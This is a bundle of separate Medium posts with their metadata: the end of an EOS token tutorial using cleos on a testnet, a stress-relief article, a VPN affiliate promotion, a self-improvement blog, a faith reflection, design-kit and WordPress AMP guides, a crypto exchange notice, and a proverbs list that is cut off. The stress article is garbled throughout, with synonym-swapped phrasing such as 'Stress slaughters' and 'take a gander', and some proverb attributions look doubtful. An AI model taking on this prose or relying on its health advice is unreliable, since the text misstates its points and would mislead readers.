hash: 641f336aa1d08526201599c3c0ddb7a646e5ac8f9fd2493f56414d0422a0f957 Indeed, it was there. Create Token Finally, we can now create and issue tokens. We’re going to use “createand” command for our smart contract with the use of the cleos push action command with the following parameters: * contract — the account providing the contract to execute. * action — the action to execute on the contract. * data — the arguments to the contract. Let’s now create YLV token and then issue tokens as well. cleos — url https://jungle.eosio.cr:443 push action ylvdeveloper create ‘{“issuer”:”ylvdeveloper”,”maximum_supply”:”1000000.00 YLV”}’ -p ylvdeveloper executed transaction: 8df25bdb13a8d96236ecaac42d175ea09bd582f2359d027b6723f282d89bbb9d 120 bytes 1015 us # ylvdeveloper <= ylvdeveloper::create {“issuer”:”ylvdeveloper”,”maximum_supply”:”1000000.00 YLV”} We just have created YLV token with maximum capacity of 1'000'000.00 tokens. Now let’s issue 1000 tokens to ylvdeveloper account. cleos — url https://jungle.eosio.cr:443 push action ylvdeveloper issue ‘{“to”:”ylvdeveloper”,”quantity”:”1000.00 YLV”, “memo”:”airdrop”}’ -p ylvdeveloper executed transaction: fb25bf6dc85cd0f62fbeb8d9ffb375dd09241dca6174b7919425ddde6ca0dcd2 128 bytes 1391 us # ylvdeveloper <= ylvdeveloper::issue {“to”:”ylvdeveloper”,”quantity”:”1000.00 YLV”,”memo”:”airdrop”} Next, check the balance: cleos — URL https://jungle.eosio.cr:443 get table ylvdeveloper ylvdeveloper accounts { “rows”: [{ “balance”: “1000.00 YLV” } ], “more”: false } Great. We have our token contract and we can issue tokens now. What else do we need? The ability to transfer tokens from one account to another. We’ll use the same push action command from cleos with transfer method of the token smart contract. You need another account to transfer tokens to. It can be created using the same steps as we did for ylvdeveloper. We’ll send 100 tokens from ylvdeveloper to ylvio account. cleos — url https://jungle.eosio.cr:443 push action ylvdeveloper transfer ‘{“from”:”ylvdeveloper”, “to”:”ylvio”, “quantity”:”100.00 YLV”, “memo”:”gift”}’ -p ylvdeveloper executed transaction: 32abee7e426d9e5653f67a7b492c17ca62aeeef97ff1a86037f58f2dd1459452 136 bytes 1639 us # ylvdeveloper <= ylvdeveloper::transfer {“from”:”ylvdeveloper”,”to”:”ylvio”,”quantity”:”100.00 YLV”,”memo”:”gift”} # ylvio <= ylvdeveloper::transfer {“from”:”ylvdeveloper”,”to”:”ylvio”,”quantity”:”100.00 YLV”,”memo”:”gift”} Check balances: cleos — url https://jungle.eosio.cr:443 get table ylvdeveloper ylvdeveloper accounts { “rows”: [{ “balance”: “900.00 YLV” } ], “more”: false } Bytezilla:build iYalovoy$ cleos — url https://jungle.eosio.cr:443 get table ylvdeveloper ylvio accounts { “rows”: [{ “balance”: “100.00 YLV” } ], “more”: false } Works as expected. Summary We have gone from installing the cleos to learning about the eosio. token smart contract and creating our own tokens and then transferring the tokens to another accounts. We have done all this using the EOS Jungle Testnet that’s somewhat similar to Mainnet. These same steps could work for Mainnet too but you have to use another API endpoint and pay for the RAM and accounts.

https://medium.com/blocktoken/the-complete-guide-to-eos-smart-contracts-b3d91f73a5b3

['Genson C. Glier']

2018-09-12 04:06:33.048000+00:00

['Bitcoin', 'Ethereum', 'Blockchain', 'Eos', 'Cryptocurrency']

Mega Magazin

Learn more. Medium is an open platform where 170 million readers come to find insightful and dynamic thinking. Here, expert and undiscovered voices alike dive into the heart of any topic and bring new ideas to the surface. Learn more Make Medium yours. Follow the writers, publications, and topics that matter to you, and you’ll see them on your homepage and in your inbox. Explore

https://medium.com/bir-medya-%C3%B6%C4%9Frencisi/mega-magazin-f4169de66c6d

['Aslı Karasu']

2020-12-15 19:31:15.806000+00:00

['Celebrity', 'Magazine', 'Homework']

Stress Kills — Do Something About It

Is it true that you are feeling focused? I would be amazed on the off chance that you were not. Between the developing requests of our positions, raising a family while working all day, and the expanding need to remain associated all day consistently, a large portion of us learn about focused on more frequently than we like to concede. Add to it a constant absence of rest and exercise and you have a catastrophe waiting to happen. Stress slaughters and that is quite serious. We should take a gander at a portion of the most noticeably terrible negative results of pressure and what you can do to pressure less and loosen up additional. Stress will cause your pulse to rise. You have encountered this when you got yourself hot and with a seething migraine when you were in an especially distressing circumstance. Feeling that route now and again is not a problem. The genuine threat is in the lower-level pressure we as a whole vibe consistently. It can prompt hypertension and a higher danger of experiencing a coronary episode or stroke. Next, we should take a gander at rest. At the point when you are pushed, you do not rest soundly. You may even think that it is difficult to rest by any stretch of the imagination. Sleep deprivation is a typical result of carrying on with a pressure full life. It does not take well before you begin to feel the negative results of not getting quality rest. You feel depleted, unfocused, and things winding descending from that point rapidly. Your body cannot work well and recuperate without at any rate a couple of good long stretches of rest every evening. For ideal well being, de-stress and go for in any event six to eight hours. Since stress is so difficult on the body and psyche, what would you be able to do to decrease it? A lot really. The clearest arrangement is to go to the wellspring of the pressure and cut it out of your life. Clearly that is not viable, or attractive when you are having a couple of unpleasant weeks at the employment you depend on or your children are making you insane. All things considered, attempt things to effectively unwind and de-stress when and where you can to balance the unavoidable. Take a stroll outside. Hit the rec center for some activity. Contemplate. Gain proficiency with some breathing activities to help quiet yourself down at whatever point you feel especially focused. Get a lot of value rest. Eat a sound eating regimen and cut down on sugar and caffeine. We will speak more about how you can pressure less and love life in future blog entries. Monitoring the pressure and how it is influencing you is an incredible initial step. Presently take a full breath and take a walk around the square. Notice how much better you are feeling as of now? Review and Release the Stress Stop Trying to Do Everything One of the primary reasons why we are a great deal more focused than suppose our grandparents were, is on the grounds that we are taking on significantly more. We have families where each accomplice is working a regular work and potentially a side hustle also to make a decent living monetarily. That leaves all the difficult work of keeping house and raising a family, which should be finished during “off” hours. Many of us at this point do not intellectually time out toward the finish of the workday. All things being equal, we take our work home, and are reachable at extremely inconvenient times through instant message or email. Add to that the pressure consistent network and online media makes and its no big surprise we are more pushed than any time in recent memory. It is an ideal opportunity to take care of business. It is an ideal opportunity to quit attempting to do all the things constantly and center around diminishing pressure in your life. Start by checking on all that you do in each day. An extraordinary apparatus for this is a period log. Keep a basic bit of paper or a little note pad with you consistently. Set an alarm on your telephone to go off like clockwork (during waking hours), and rapidly write down the thing you are doing. Be fiercely legit. Nobody else requirements to see this log and you can consume it after you are finished. Following seven days of logging, you get a very smart thought of where you invest your time and mental energy. Presently comes the pleasant part. Glance through your information and choose what you can give up off. What would you be able to quit doing? Open some an ideal opportunity for yourself to work out, contemplate, or to sleep so you can make up for lost time with much required rest. Next, it is an ideal opportunity to audit and delivery every one of those concerns, questions, and “should-dos” that are worrying you. Get out another piece of paper or two and begin to record everything without exception at the forefront of your thoughts. All the stuff you have been considering doing. All the stuff that has been stressing you. Get it hard and fast. Leave for a couple of hours and afterward return to your rundown. Cross out as much as possible. Things that are out of your control and you choose to intellectually deliver. Assignments that you have an inclination that you ought to do, that you truly do not have to do. At that point rework what is left on two unique records. One will be things you can do, or have another person accomplish for you. This will end up being your lord daily agenda for the following not many months. The other is a rundown of stresses, or concerns. Notice how much more modest and more limited those rundowns are and how much lighter you feel simply getting it all off your mind. To wrap things up, go consume that expert cerebrum dump list. Doesn’t it feel better? Sleep More Stress Less and Get More Done Do you understand what quite possibly the best approaches to de-stress is? It is resting. Truly, practice is incredible, and contemplation is an awesome apparatus, yet the best thing you can do to pressure less consistently is to get a goodnight rest. You realize this is valid. Consider how much harder your work and your life by and large feel following a night when you were up with the children or working until four in the first part of the day to complete a significant venture. You get grouchy, it is harder to center, and every single issue abruptly gets difficult. You feel much more pushed for the duration of the day and it possibly deteriorates on the off chance that you wind up resting ineffectively for a few days straight. Presently here is the fascinating piece. The normal individual does not get the ideal measure of rest around evening time, and in any event, when we do, our rest quality frequently is not extraordinary. Time after time our rest is upset for the duration of the evening, regardless of whether we do not completely awaken and the greater part of us battle with nodding off. Fortunately, there are a great deal of things you can do to improve both the amount and nature of rest you get. Before you disclose to yourself that you cannot bear to rest more, understand that not zeroing in on rest will make you be less engaged and beneficial. You will really complete more by putting time into a decent night rest. Start by setting up a sleep time schedule. Attempt to hit the sack simultaneously consistently, even on the ends of the week. It assists your body with getting a mood that makes nodding off and staying unconscious simpler. Cut interruptions from your room. That implies leaving your telephone in the lounge. On the off chance that you need a caution, go purchase a morning timer. You do not need those alarms and notices shielding you from getting into those extremely significant profound rest zones. Mood killer the lights and have a decent check out your room. Are there any little pointer lights or flickering lights? Attempt to eliminate them if conceivable. Tune in for any sounds from hardware and the preferences. Make your room a quiet, calm, and dull spot of rest. To wrap things up, watch your screen time around evening time. Our eyes and the way they measure light, including the light waves from our screens bitingly affect how alert the body is. One of the most exceedingly awful propensities we have all evolved is to take a gander at our telephones while attempting to rest. Naturally it’s what might be compared to viewing the dawn. Quit advising your body it is an ideal opportunity to get up while you are attempting to rest. All things being equal, center around quieting exercises like perusing, conversing with your accomplice, or ruminating for an hour prior to resting. Lessen screen time for a couple of hours before bed or at any rate put resources into blue light sifted glasses or introduce an application that changes your showcase around evening time. Meditation, Journalism and Other Ways to De-Stress Is it true that you are prepared to effectively plan something for lessen weight consistently? If not, I might want to urge you to get and build up a day by day propensity that causes you achieve only that. Stress not just diminishes your personal satisfaction; it can likewise adversely influence your well being. There is a motivation behind why they state pressure slaughters. Begin taking care of business and grasp life to the fullest with a portion of these straightforward methods that help you stress less. Begin Meditating Perhaps the best device for decreasing pressure is reflection. You can begin with a basic breathing reflection by getting settled in a tranquil spot and zeroing in on unwinding and pondering only your breath. From that point, check a portion of the free guided contemplation's out. There are even some brilliant applications out there that transform your cell phone into your #1 new contemplation gadget. Put aside a couple of moments every day to reflect and watch the pressure soften away. Keep a Journal This one may astonish you. A diary is a compelling device to help you stress constantly less. The basic demonstration of expounding on what is at the forefront of your thoughts can be unimaginably liberating. A diary is additionally an extraordinary device to help you think back and sort out what is setting off or causing times of high pressure. This is significant data to have since you cannot run after lessening or killing a trigger if you do not have the foggiest idea what it is. Take A Walk Another straightforward, however amazing method is to take a walk. Get outside if conceivable, yet on the off chance that that is not a decent choice, bounce on a treadmill or speed around your home. It does not take a great deal of strolling before you begin to see the advantages. If you just have ten minutes, walk. On the off chance that you have an hour mid-day break, stroll for 20 minutes and invest the remainder of the energy unwinding and eating. Make it work and start strolling routinely. Embrace Truth be told. Something as straightforward as an embrace can assist you with unwinding and battle pressure. Ensure the embrace is real on the two sides and for best outcomes, hold the grasp for in any event twenty seconds. You will begin to feel yourself quiet and those endorphins will flood your framework. Try not to have anybody around to embrace right now? Roaring with laughter is ground-breaking as well. Turn on a pleasant parody that leaves you in join. Tidy Up Your Diet To wrap things up, investigate what you are placing into your mouth. A perfect eating routine of generally entire nourishment's that is low in sugars and additives will support your body and battle a significant part of the harm pressure causes. It will likewise help you feel quieter and more in charge. Begin rolling out some little improvements and check whether you do not begin to feel good. Exercise Is A Great Stress Reliever Did you realize that activity would one say one is of the most ideal approaches to beat pressure? It works in a wide range of ways, not the least of which is the arrival of endorphins, the vibe great hormones. Obviously, practice has a wide range of different advantages as well, yet for the present, we should zero in on the pressure decreasing properties and endorphins assume a major job in that. Moderate exercise is likewise extraordinary for your heart and will help lessen circulatory strain. At the end of the day, practice causes you straightforwardly battle a portion of the most exceedingly awful impacts of pressure. Another explanation practice is extraordinary for stress alleviation is on the grounds that it causes you rest better around evening time. There is nothing like profound rest to assist you with unwinding and wake up invigorated and distinctly less focused. Getting a decent exercise in or doing a couple of yoga practices before bed can assist you with getting rest sooner and stay unconscious longer. Check practice out and see the advantages for yourself. It does not take a great deal of activity to begin seeing the advantages. Something as straightforward as a ten-minute walk will help and the advantages stack up immediately when you make it an everyday propensity. You can get out there and walk. Or on the other hand you can make yourself stroll set up before the TV during business breaks. Get a pedometer that signals when you have been sitting for a long time and endeavor to walk 4,000 stages for each day. Obviously strolling is not your solitary alternative. Any kind of actual work diminishes pressure. Consider something that sounds fun. Possibly you delighted in playing b-ball in secondary school. Discover a rec alliance that meets a few times per week or stop by the recreation center in transit home for a brisk pickup game. On the off chance that you appreciate swimming, join a nearby pool and take a dip before supper, or before anything else. You can presumably shower at the office and head to work from that point. Or then again what about moving? You can join a club, take exercises, or simply wrench up the music and dance around the house at whatever point you need a break from all the other things. Keep it fun and appreciate the extra mind-set lifting advantages of the music. In case you are prepared for a more extreme exercise, pursue a Zumba class. Here is the way to adding more exercise and actual work in your life. Take a stab at something and see what you can stay with. That is the main part. Make some straightforward schedules and propensities that will make them move more and watch the pressure dissolve away. Have Fun — Hugs and Laughter Help Reduce Stress In one of my past posts about diminishing pressure, I quickly referenced the advantages of embracing and giggling to help decrease pressure. They are such fun, simple, and amazing procedures that anybody can do pretty much anyplace, I thought the time had come to plunge somewhat more profound and take a gander at why they work and how we can effectively begin utilizing them to decrease the negative impacts of ongoing pressure. We should begin by discussing embraces. Have you ever seen how a decent embrace will cause you to feel good? It quiets you and changes your whole attitude toward the world and whatever it is that has been disturbing or worrying you. Turns out there is some science behind embraces and an explanation we begin to feel much improved. There are quantifiable consequences for your heart and on the anxiety of your cerebrum movement when you embrace, and those advantages will increase fundamentally around the twenty second imprint. To sweeten the deal even further, your body will deliver oxytocin, a vibe decent hormone. It is no big surprise your entire standpoint begins to change after a decent embrace. Begin to embrace your friends and family or your #1 pet more regularly and when you do, attempt to hold the embrace for in any event twenty seconds. Try not to be unpleasant about it, yet in case you are agreeable — and you should be in case you are sharing a long embrace — inform the other individual regarding the advantages of these more extended embraces. In a little while it will turn out to be natural and you will both keep on receiving the benefits. When embracing is not an alternative, or on the off chance that you abhor them, check chuckling out. It calms strain and diminishes pressure. As an additional advantage, you are bringing more air into your lungs, bringing about more oxygen being conveyed to your heart, cerebrum, and other significant organs. Giggling frequently can even improve your resistant framework. Put on an entertaining film, watch a TV sitcom, read some clever kid’s shows, call a companion who makes you giggle, or simply begin snickering and counterfeit it until you begin to feel it. Giggling, it ends up, truly is extraordinary medication and incredible for both body and brain. Fun actuality for you. There is even a whole sub specialty of yoga professionals who do giggling yoga as a pressure busting procedure. Would you be able to see yourself taking a class where you experience different yoga practices while likewise putting forth a cognizant attempt to roar with laughter?

https://medium.com/@arayeoflife/stress-kills-do-something-about-it-2de981e8226c

[]

2021-02-08 04:48:56.284000+00:00

['Health', 'Lifestyle', 'Stress Management', 'Wellness', 'Stress']

Kara and Nate recommend increasing your online security by getting a VPN

Kara and Nate are a famous YouTube couple that has almost 1.5 Million subscribers in their channel. One day they decided to take a 1-year break before their lives get serious and go on an adventure. They thought it would be fun to make memories and document everything as a form of daily vlogs. Halfway through their break, they both knew that they don’t want this to end anytime soon. They’re already counting 4 years of their journey, have already visited 100 countries, and not planning to stop. In the videos, they share lots of cool experiences of their trips, various tips for traveling, and many more exciting things related to travels. Sometimes they also talk about the importance of being safe online and recommend getting a VPN. Pick the best VPN deal and secure yourself online! Surfshark Great VPN choice that will give you a chance to secure yourself online and will not log anything you do on the internet. It also has 1700+ servers in over 63 countries, so you’ll definitely find the country you’re looking for. Moreover, if you are a more mobile person, this is a perfect choice for you; it supports the IKEv2 protocol, which gives the connection stability and low battery drain for mobile devices. Get Surfshark‘s 2-year plan with an 82% discount. NordVPN This premium VPN is definitely the right choice and has a lot to offer. Not only it includes many privacy and security features, but it also unblocks a wide scale of well-known services abroad. Moreover, it has one of the largest networks with over 5000 servers in more than 60 countries and allows 6 simultaneous connections with one subscription. Another great thing about this VPN is that it recently has implemented the NordLynx feature that gives higher speeds than ever before and maintains top-notch security. Get NordVPN with a 70% discount when choosing a 3-year plan. If you want to secure all your devices, click here to download the software for iOS, or click here and download it from Google store. Perfect Privacy That is another choice of VPN that has 58 servers in 26 countries around the world, offers decent speeds and several extra security features. For example, it has a TrackStop feature that blocks content from untrusted sources and helps to avoid annoying ads. Also, it has a wide range of payment options that even includes paying with cash. Now you can get Perfect Privacy’s 2-year plan. Why get a VPN? Since Virtual Private Network’s main purpose is to increase online security, this is a pretty strong reason to get one. Although it can be used for more ways than just that, depending on the features of VPN, it can be convenient for gaming, torrenting, using popular streaming services like Netflix, Hulu, and many more. Also, it is very convenient when using a wireless network in public places like coffee shops, airports, libraries, etc.

https://medium.com/@peppismefron/kara-and-nate-recommend-getting-a-vpn-f4ad04d96ef4

['Peppi Smefron']

2020-09-14 13:51:29.640000+00:00

['VPN', 'Offers', 'Discount', 'Coupon']

3 Ways To Invest In Yourself All Year Round

Hi everyone, thank you for coming back to my blog. I hope you found my last blog ‘EasyPeasyMoney.net…..is LIVE!’ interesting and useful, where I talked about my new website and what it has to offer you, so you can better mange your money and get you on your way to financial freedom, quicker! Now, it’s coming up to Christmas and most you are probably thinking (and struggling, like me) about what to gift your other half, kids, parents and other family members, but most often than not, you forget about yourself during this period. I feel it is important that, even though you don’t really push the boat out or treat yourselves often because you have a family to feed and bills to pay, you should always look to better yourself by investing in yourself. What I mean by that is you should spend money on things that will change your mind-set and make you think of your finances, career, health and relationships in a different, but more beneficial way, not just at Christmas, but all year round! In order to help you out (and maybe even give you some gift ideas for others…you’re welcome!) I have listed the different ways you can invest in yourself, all year round: 1. Educate yourself Become financially literate, if you aren’t already, by reading books that will help you understand basic finance and help you building a foundation and a mind-set that will lead you to be more conscious of your spending, saving and investing habits. Financial literacy is unfortunately not part of our school curriculum so there is lots to learn if you are new to this. My recommendations are to start with these books: If you are already financially literate (because you have been reading my blog and have already read the books I have recommended above), then you can educate yourself on other things, for example, how to start your own business or side hustle or even how to start investing in property. My recommendations are to start with these books: Or even learn about something completely new to you, for example, how to code, so you can create apps or even games, or 2. Explore your creative side There is a fountain of creativity within most of us that has never been tapped or certainly hasn’t been used to its highest potential. You may need to unearth, and hone your individual creativity. Creativity, in any form, helps you to grow personally and professionally, to view problems and solutions in different ways and to utilise other parts of your mind that may have been previously untapped. It is important to keep in mind that creativity has many faces and is far broader than being a painter or sculptor; it’s also about trying new things. Learn a new language — Sign up to a weekly class or use language training software or an easy app like Duolingo Try gourmet cooking — Sign up to a formal class or buy Gourmet Cooking for One or Two cookbook and do it from your own kitchen cookbook and do it from your own kitchen Enjoy music — Learn a new instrument or just listen to more music during the day from your Echo device with Amazon Music device with Create something — Create paintings, sculptures, pottery or design your own jewellery or clothes, then look to sell them online using a sales funnel (To learn how to do this, click here, it’s well worth it!) Choose some form of activity that you have never tried, haven’t practiced in years, or have never explored fully. 3. Nurture your mind and body Nurturing both your mind and body allows you to have more to give (now and in the future) more energy, more knowledge, more ideas, more compassion, greater strength, physical and mental endurance. Expand your mind Learning new things and keeping your mind active even in simple ways helps to grow and maintain your mental ability. Read — Read anything and everything, like I metioned above, it doesn’t have to be about being financially literate, but something you want to learn or are curious about. Explore culture — Attend performances in theatres, listen to different style of music, travel, or join an organisation or group comprised of people from different backgrounds Open your mind — Engage in conversations with those who disagree with you. Look at an argument and try to make a case for the opposing point of view. Keep your mind active — Play word games, (yes, even Words with Friends counts), board games that include strategy (like Z-Man Games Pandemic, how fitting for the year we have just had) or try using your brain to perform simple calculations rather than relying on a calculator (use games like Gangsta Granny’s Mental Maths Games to help you with this). Care for your body Your body is like a well-oiled machine. If you care for it in the way that you might maintain an expensive car, it will perform marvellously and last for a very long time. Remember the basics: Give it high quality fuel — Make healthy food choices as often as possible. What you eat does play a large role in your energy and ability to perform. You truly are what you eat. Don’t push it too hard — Rest and relax often, slow down and don’t overload your system. Also, don’t shift gears too quickly, it causes stress and damage to “your machine,” A.K.A. your body. Get regular and necessary maintenance — Go to the doctor when you’re sick, don’t put it off until you totally break down. Better yet, use preventative maintenance, get check-ups, take appropriate vitamins and pay attention to irregular or erratic behaviour. Polish the exterior — Take care of the outside too. Many people dismiss this as frivolous and self-indulgent, but it’s not as long as you don’t go overboard. I’m not talking about facelifts and Botox, I’m talking about getting a haircut, and wearing clothes that make you feel confident and good about yourself. Until next time, thank you and stay safe.

https://medium.com/@easypeasymoney/3-ways-to-invest-in-yourself-all-year-round-17bda54271b8

['Kalpen Patel']

2021-01-04 12:08:38.842000+00:00

['Self Improvement', 'Money', 'Self Investment', 'Money Management', 'Gift Ideas']

The Greatest Story Ever Told

Here’s the address I wrote to commemorate this weekend’s Latter-day Saint general conference 🌝 ••• gospel topic / sabbath school for today: the New Testament is what happened after a lot of people met this very intriguing “miniature professor,” who gave lectures and recitations about his favorite bedtime stories / superhero escapades / sci-fi movies in the marketplace; a sweet little Jewish boy with curly hair and big brown eyes and dusty skin, who defied their gender norms (he insisted he was a GIRL chicken, a MOMMA hen), led a bunch of scrappy rascally anti-establishment type teenagers around and called it his own kingdom, spoke in simile, became very overcome with empathy and performed a rage-curse on a fig tree, had a dry wit and a passion for puns and plays on words, had a remarkable knack for understanding the relationship and symbiosis of metaphysics and biology (the human body and humankind and somatic awareness and how bodies keep the score — his body was scored with scourges and scars), stood up for the underdog every single time until it got him in mortal peril and still he refused to back down. (these are all hallmark traits of autism.) the story of Abinadi is what happens over and over and over again to misfit folks who get a little too outspoken. (look up the origins of “faggots” and “flaming.”) so idk maybe we keep giving pedestals to politicians and crucifying/lynching the actual seers and visionaries, those who “dream a dream” and are “least of these among us.” it keeps happening over and over and over, the same test repeating itself and we have an infinite number of chances for improvement. *this time* we’ll understand and hold it in remembrance. and when we finally all get it right, together, we’ll have made it. one perfected body (of Christ of humans of selves of earths of wholes). atonement. that we may be at-one-ment. but we have so many storytellers guiding us. because humans love a good story. there’s adam young (of owl city and good omens), madeleine l’engle, pi patel, george lucas, lin manuel miranda….. ••• the call isn’t out there at all; it’s inside me I AM MOANA! ••• so what is it that we owe to each other? (love. radical kindness. exactly and precisely, just the way you are.) ••• It’s great to be able to stop When you’ve planned a thing that’s wrong And be able to do something else instead And think this song: I can stop when I want to Can stop when I wish I can stop, stop, stop any time And what a good feeling to feel like this And know that the feeling is really mine Know that there’s something deep inside That helps us become what we can ••• You can’t change nature, son! Change IS nature, dad, the part we can influence. And it all starts when we decide.

https://medium.com/@ashrowan/the-greatest-story-ever-told-eb7baab746b9

['Aisling', 'Ash']

2020-10-05 17:08:49.844000+00:00

['Faithfullylgbt', 'Nonbinary', 'Latter Day Saints', 'Transgender']

Material-X version 5. Live updated team library for Figma available by subscription

What is Material—X? 990+ components and 25 app templates in the design system beyond Material Design. Powered by top-notch shapes and Manrope font. Customizable & Adjustable UI kit. Easy to change fonts and swap colors. Available as Figma team library — You’ll get an invitation to a published Material–X project in Figma within 24h after the subscription. Stay up-to-date with access to a team project where we ship in real-time. Your subscription includes updates and unlocks the Duplication. And you can always spectate live how we produce new templates 😎 What’s new in v5? Settings components in a variation: With button, With the slider, Switch, Dropdown, Button etc. Settings components Each app requires space to get set up, configured, or the user’s preferences might be changed. We added Settings components as used in templates and stored them on the UI kit page. After the components were tested and organized we’ve made some detailed visual samples on how to build the Settings section in your app: Settings templates Desktop, Tablet and Mobile versions provided for every category of templates.

https://medium.com/@kamushken/material-x-version-5-live-updated-team-library-for-figma-available-by-subscription-5caafa6ae442

['Roman Kamushken']

2021-01-07 20:35:46.472000+00:00

['UI', 'UI Design', 'Figma', 'Material Design', 'Design Systems']

How to Setup Google Amp On A WordPress Site | GarimaShares

Google AMP is an open framework that makes your posts more readable on smartphone devices. Think of it as a lighter and simplified version of your post. It strips the content of its major styling elements and displays it in a simplified manner. AMP in the Google AMP stands for Accelerated Mobile Pages Project. It was launched in October 2015. So, if you don’t have it activated on your site yet, better do it ASAP. Why do you need Google AMP-activated on your WordPress site? AMP improves your page’s speed. And we already that a page’s loading speed is a factor that determines the search rankings of your content. Google Search is using mobile speed as a ranking factor, but sites can be fast by using a variety of techniques, including AMP. Google Search applies the same standard to all pages. Increased CTR. When you have an AMP-enabled post indexed, it is more likely to earn a featured snippet. It was found in a case study that pages with Google AMP earn 600% more clicks. With AMP, your images get optimized automatically. It converts JPEG to WebP for supported browsers. Also, if the reader has a slow network connection, a byte-reduction in the images is done by AMP so that it can load faster. When a page is shown as an AMP in search results, the AMP symbol is shown next to it. At the top of the page, you can see that the URL has google.com/amp in front of the post’s link. Also Read: How To Add Facebook Comments To WordPress Blog posts How to Setup Google AMP in WordPress There are 2 WordPress plugins that can help you do this, AMP and AMP for WP. The second one is a more advanced plugin, it provides you with more customization options. Keep in mind that your site must follow Google’s guidelines first. Though a plugin creates an AMP version of your posts, its Google who decides whether to show them or not. When AMP is activated, your post gets a new URL assigned to it. This is handled by the plugin itself. For example, Original blog post: https://yoursite.com/article AMP blog post: https://yoursite.com/article/amp Install any of the two plugins from your WordPress dashboard. Go to plugins> add new> search for AMP. AMP WordPress Plugin I have the AMP WordPress plugin installed. After the installation, you’ll see the AMP plugin show up in your dashboard like in the image below. Under the general settings, you can select the type of theme you want on your AMP version. You can choose the content types on which the AMP should be enabled: posts, pages, media or portfolios.

https://medium.com/garimashares/how-to-setup-google-amp-on-a-wordpress-site-garimashares-ace90862d96f

['Garima Bhaskar']

2020-07-01 20:28:54.051000+00:00

['Blogging Tips', 'Blog', 'WordPress', 'Google', 'Blogger']

CoinMarketCap integrates Serenity.Exchange trading volume

Major cryptocurrency capitalization tracking website CoinMarketCap now provides trading volume data on Serenity.Exchange. In September 2019, CoinMarketCap listed Serenity.Exchange, and now the service has integrated the exchange’s trading volume with detailed data for cryptocurrency pairs. The information is available on our project’s page on CoinMarketCap. The exchange’s trading volume is formed based on the changes in the volume of cryptocurrency pairs and trading activity. Now it’s possible to track the trading volume behavior of cryptocurrency pairs in real-time on CoinMarketCap. Serenity.Exchange was launched a year ago, and only three months later started showing growth and providing the possibility of trading major cryptocurrencies at any moment, regardless of whether there’s a matching order in Serenity.Exchange. This was achieved thanks to the liquidity aggregation from major cryptocurrency exchanges: OKEX, Kraken, Binance. If you’re working on a project, your community has over 3,000 real participants and over 2,000 real token holders, we’ll consider listing your token (ERC20) on our exchange. Learn more here.

https://medium.com/serenity-project/coinmarketcap-integrates-serenity-exchange-trading-volume-19707c3ae323

['Serenity Financial']

2020-05-18 12:37:35.387000+00:00

['Trading Volume', 'Crypto Exchange', 'Serenity', 'Listings', 'Coinmarketcap']

31 Essential Proverbs That Will Enlighten Your Life Immediately

1. “If you want your dinner, don’t offend the cook” — Chinese Proverb Meaning — Don’t bite the hand that feeds you. A great writer once reinterpreted the proverb and wrote “A child should not criticize his parents with the roast beef they bought and cooked still in his mouth.” 2. “To fall into sin is human, to remain in sin is devilish” — Unknown Meaning — It’s ok to make mistakes. However, once you learn from them, try not to make them again. You’re better than that. 3. “Better to eat food than read the menu” — Unknown Meaning — Taking time to choose is important, but try not to overthink as much. Also, if you’re the type of person who takes forever to decide at a restaurant — hurry the hell up! 4. “However vast the ocean, the diver’s dimensions remain unchanged” — Unknown Meaning — Life is a singleplayer game. As the U.S. Air Force says, “Be the calm and the storm.” 5. “If you wish good advice, consult an old man” — Romanian Proverb Meaning — Wisdom comes with age. Life is a balance of knowing when to diminish your ego in order to learn. Humble yourself around others and listen. They may have something important to say. 6. “A bird in hand is worth two in the bush” — Latin Proverb Meaning — Sometimes holding on to something is better than risking it. Ambition shouldn’t be confused with taking unnecessary risks. 7. “No man can guess in cold blood what he may do in a passion” — Unknown Meaning — Put yourself into new and challenging situations every day. This will prepare you for the inevitable chaotic moments of life. When those situations happen you will be much more level-headed or cold-blooded. Think pragmatically not emotionally. 8. “You never get a second chance to make a first impression” — Andrew Grant Meaning — This proverb isn’t exclusive to interviews. You never know what the day holds in store for you and who you might meet. The great author Dostoevsky wrote to walk with a smile on your face so that you don’t accidentally detour people with your presence 9. “No book is a best seller before it’s published” — Unknown Meaning — I recently wrote my first book. It was hard but a lot of fun. You need to be on top of yourself like a drill sergeant screaming at new recruits. However, it’s worth it in the end. Especially since who knows the kind of reach you will have. 10. “Still waters run deep” — Latin Proverb Meaning — Reserved people are often the most interesting. Additionally, William Shakespeare wrote in “Henry VI” that they could also be the most dangerous people. “Smooth runs the water where the brook is deep / And in his simple show he harbors treason.” 11. “Don’t cast your pearls before swine” — Matthew 7:6 Meaning — Do not waste good advice or work on people who do not appreciate it. It’s their loss. 12. “Learning without wisdom is a load of books on an ass’s back” — Japanese Proverb Meaning — When knowledge meets experience it creates wisdom. It’s why old people are often so wise. Learn as much as you can and they go and apply it. 13. “United we stand, divided we fall”— Aesop Meaning — This is 2020 in a nutshell. Empires destroy themselves from within. Try not to demonize someone you disagree with. Instead, try to understand them and what made them that way. We’re all wired differently but at the end of the day, most of us want peace, love, and happiness. Don’t let someone’s political affiliation complicate that for you. 14. “One hates not the person, but the vice” — Unknown Meaning — Once again, try not to demonize people, but instead, their behaviors. 15. “One volunteer is worth two pressed men” — Thomas Hearne Meaning — People will take notice of your enthusiasm to help them out. If they have to press you for help — they’ll remember that too. 16. “Vows made in storms are forgotten in calms” — Thomas Fuller Meaning — When the pressure is on many of us will rise to the challenge. If we get a great workout with a friend or stay after hours to get ahead on a project, we proclaim we will do it again! However, when our lives get hard, or no one is around to give us motivation — when we’re in a “calm”— we abandon our sanctimonious proclamation. 17. “A watched pot never boils” — English Proverb Meaning — Time goes slower when you are anxiously waiting for something to happen. Be like Warren Buffet when he’s investing: “Set it and forget it.” 18. “Even homer sometimes nods” — Unknown Meaning — In reference to the genius Greek poet Homer, whose epic poems contain several apparent errors in continuity. Even the most gifted can fall victim to mistakes. 19. “Ignorance and incuriosity are two very soft pillows” — French Proverb Meaning — Two characteristics that are the most crippling in modernity. Learn until you die. 20. “If you pay peanuts, you get monkeys”— British Proverb Meaning — Money is best used for professional work. If you aren’t passionate about something then outsource it. For example, I designed the cover of my eBook because I like graphic design, but I paid good money to a pro for the page layout. Use money to alleviate stress. 21. “If the beginning is good, the end must be perfect” — Iranian Proverb Meaning — Some will say it’s the journey, not the destination. It’s somewhat true, but it’s the cherry on top that makes the sundae, I always say. The ending makes the masterpiece. 22. “Piss not against the wind” — Unknown Meaning — It’s good figurative and practical advice. 23. “Prettiness dies first” — English Proverb Meaning — Your good looks will be the first thing to fade. Hopefully, your character and virtue will be the last. 24. “The best fish swim near the bottom and they are therefore the most difficult to catch” — Unknown 